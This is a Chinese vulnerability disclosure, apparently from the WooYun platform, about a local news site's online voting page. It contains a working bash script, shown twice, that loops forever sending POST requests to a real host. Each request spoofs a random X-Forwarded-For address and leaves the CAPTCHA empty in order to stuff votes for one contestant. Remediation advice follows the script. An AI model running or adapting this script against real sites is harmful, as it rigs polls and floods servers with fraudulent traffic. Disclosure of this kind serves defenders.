简要描述：存在IP绕过漏洞
存在验证码绕过漏洞
 
详细说明：
#!/bin/bash
 
# author @十三乙
 
# vote for http://weibo.com/1680241201/y9ZarqaHo
 
# http://www2.lyd.com.cn:8080/ph.asp
 
 
 
REFERER="http://www2.lyd.com.cn:8080/ph.asp";
 
USER_AGENT="Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11";
 
while true;
 
do
 
         FAKEIP="$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255))"
 
         curl -X POST -H "X-Forwarded-For:$FAKEIP" -H "Referer:$REFERER" -H "UserAgent:$USER_AGENT" -d "toupiao_id=24&votecode=&x=79&y=38" "http://www2.lyd.com.cn:8080/tp_sub.asp"
 
done
漏洞证明：@李铁根 ： 越是身处喧嚣迷乱的尘世，越要坚持真实的自己。在这个去伪存真的日子，伸出你有爱的双手，帮忙在洛阳首届胸模大赛中投康艳艳一票吧。http://t.cn/zOMyhTb
 



 
#!/bin/bash
 
# author @十三乙
 
# vote for http://weibo.com/1680241201/y9ZarqaHo
 
# http://www2.lyd.com.cn:8080/ph.asp
 
 
 
REFERER="http://www2.lyd.com.cn:8080/ph.asp";
 
USER_AGENT="Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11";
 
while true;
 
do
 
         FAKEIP="$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255))"
 
         curl -X POST -H "X-Forwarded-For:$FAKEIP" -H "Referer:$REFERER" -H "UserAgent:$USER_AGENT" -d "toupiao_id=24&votecode=&x=79&y=38" "http://www2.lyd.com.cn:8080/tp_sub.asp"
 
done
修复方案：验证码绕过：初始化session中的验证码、处理post请求时判断验证码是否为空。
IP绕过：综合RemoteAddress和XFF判断是否重复投票。
 
可参考： 浅谈新形势下在线Web投票系统的攻防(1)/(2)
http://www.2cto.com/Article/201203/123445.html
http://www.2cto.com/Article/201203/123447.html
 

作者 mckelvin@乌云